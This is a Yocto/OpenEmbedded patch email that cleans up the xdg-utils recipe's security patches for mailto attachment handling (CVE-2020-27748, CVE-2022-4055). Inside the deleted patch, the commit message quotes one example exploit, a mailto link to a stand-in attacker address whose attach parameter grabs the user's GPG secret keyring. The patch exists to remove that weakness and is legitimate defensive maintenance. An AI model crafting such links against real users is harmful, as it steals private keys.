diff mbox series

[2/4] xdg-utils: clean up email/attachment patches

Message ID 20260914120807.2162673-2-ross.burton@arm.com
State New
Headers show
Series [1/4] xdg-utils: switch to git | expand

Commit Message

Ross Burton Sept. 14, 2026, 12:08 p.m. UTC 
The first patch isn't an upstream backport, it was submitted but never
accepted. The second patch then deletes the code that the first patch
modifies.

Drop the first patch and rebase the second as needed.

Signed-off-by: Ross Burton <ross.burton@arm.com>
---
 ...9813e0eb0246f63b54e9e154970e609575af.patch | 58 -------------------
 .../xdg-utils/xdg-utils/CVE-2022-4055.patch   | 25 ++++----
 .../xdg-utils/xdg-utils_1.1.3.bb              |  1 -
 3 files changed, 15 insertions(+), 69 deletions(-)
 delete mode 100644 meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
diff mbox series

Patch

diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
deleted file mode 100644
index 948b9e22e93..00000000000
--- a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
+++ /dev/null
@@ -1,58 +0,0 @@ 
-From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
-Date: Tue, 18 Aug 2020 16:52:24 +0100
-Subject: [PATCH] xdg-email: remove attachment handling from mailto
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-This allows attacker to extract secrets from users:
-
-mailto:sid@evil.com?attach=/.gnupg/secring.gpg
-
-See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
-and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
-
-Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
----
- scripts/xdg-email.in | 7 +------
- 1 file changed, 1 insertion(+), 6 deletions(-)
-
-Upstream-Status: Backport
-CVE: CVE-2020-27748
-
-diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
-index 6db58ad..5d2f4f3 100644
---- a/scripts/xdg-email.in
-+++ b/scripts/xdg-email.in
-@@ -32,7 +32,7 @@ _USAGE
- 
- run_thunderbird()
- {
--    local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
-+    local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
-     THUNDERBIRD="$1"
-     MAILTO=$(echo "$2" | sed 's/^mailto://')
-     echo "$MAILTO" | grep -qs "^?"
-@@ -48,7 +48,6 @@ run_thunderbird()
-     BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
-     SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
-     BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
--    ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
- 
-     if [ -z "$TO" ] ; then
-         NEWMAILTO=
-@@ -68,10 +67,6 @@ run_thunderbird()
-         NEWMAILTO="${NEWMAILTO},$BODY"
-     fi
- 
--    if [ -n "$ATTACH" ] ; then
--        NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
--    fi
--
-     NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
-     DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
-     "$THUNDERBIRD" -compose "$NEWMAILTO"
--- 
-GitLab
-
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
index b2360301088..85f32035fcd 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
@@ -17,17 +17,17 @@  Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
 CVE: CVE-2022-4055
 
 
-Index: xdg-utils-1.1.3/scripts/xdg-email.in
-===================================================================
---- xdg-utils-1.1.3.orig/scripts/xdg-email.in
-+++ xdg-utils-1.1.3/scripts/xdg-email.in
-@@ -30,53 +30,6 @@ _USAGE
+diff --git c/scripts/xdg-email.in w/scripts/xdg-email.in
+index 3614776..8bdb5a9 100644
+--- c/scripts/xdg-email.in
++++ w/scripts/xdg-email.in
+@@ -30,58 +30,6 @@ _USAGE
  
  #@xdg-utils-common@
  
 -run_thunderbird()
 -{
--    local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+-    local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
 -    THUNDERBIRD="$1"
 -    MAILTO=$(echo "$2" | sed 's/^mailto://')
 -    echo "$MAILTO" | grep -qs "^?"
@@ -43,6 +43,7 @@  Index: xdg-utils-1.1.3/scripts/xdg-email.in
 -    BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
 -    SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
 -    BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+-    ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
 -
 -    if [ -z "$TO" ] ; then
 -        NEWMAILTO=
@@ -62,6 +63,10 @@  Index: xdg-utils-1.1.3/scripts/xdg-email.in
 -        NEWMAILTO="${NEWMAILTO},$BODY"
 -    fi
 -
+-    if [ -n "$ATTACH" ] ; then
+-        NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+-    fi
+-
 -    NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
 -    DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
 -    "$THUNDERBIRD" -compose "$NEWMAILTO"
@@ -75,7 +80,7 @@  Index: xdg-utils-1.1.3/scripts/xdg-email.in
  open_kde()
  {
      if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then
-@@ -130,15 +83,6 @@ open_kde()
+@@ -135,15 +83,6 @@ open_kde()
  
  open_gnome3()
  {
@@ -91,7 +96,7 @@  Index: xdg-utils-1.1.3/scripts/xdg-email.in
      if gio help open 2>/dev/null 1>&2; then
          DEBUG 1 "Running gio open \"$1\""
          gio open "$1"
-@@ -159,13 +103,6 @@ open_gnome3()
+@@ -164,13 +103,6 @@ open_gnome3()
  
  open_gnome()
  {
@@ -105,7 +110,7 @@  Index: xdg-utils-1.1.3/scripts/xdg-email.in
      if gio help open 2>/dev/null 1>&2; then
          DEBUG 1 "Running gio open \"$1\""
          gio open "$1"
-@@ -231,15 +168,6 @@ open_flatpak()
+@@ -236,15 +168,6 @@ open_flatpak()
  
  open_generic()
  {
@@ -121,7 +126,7 @@  Index: xdg-utils-1.1.3/scripts/xdg-email.in
      xdg-open "$1"
      local ret=$?
  
-@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do
+@@ -369,21 +292,6 @@ while [ $# -gt 0 ] ; do
          shift
          ;;
  
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index d7a103c1f81..482cf3aa7a3 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -8,7 +8,6 @@  LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
 SRC_URI = "git://gitlab.freedesktop.org/xdg/xdg-utils.git;protocol=https;branch=master;tag=v${PV} \
            file://0001-Reinstate-xdg-terminal.patch \
            file://0001-Don-t-build-the-in-script-manual.patch \
-           file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
            file://CVE-2022-4055.patch \
           "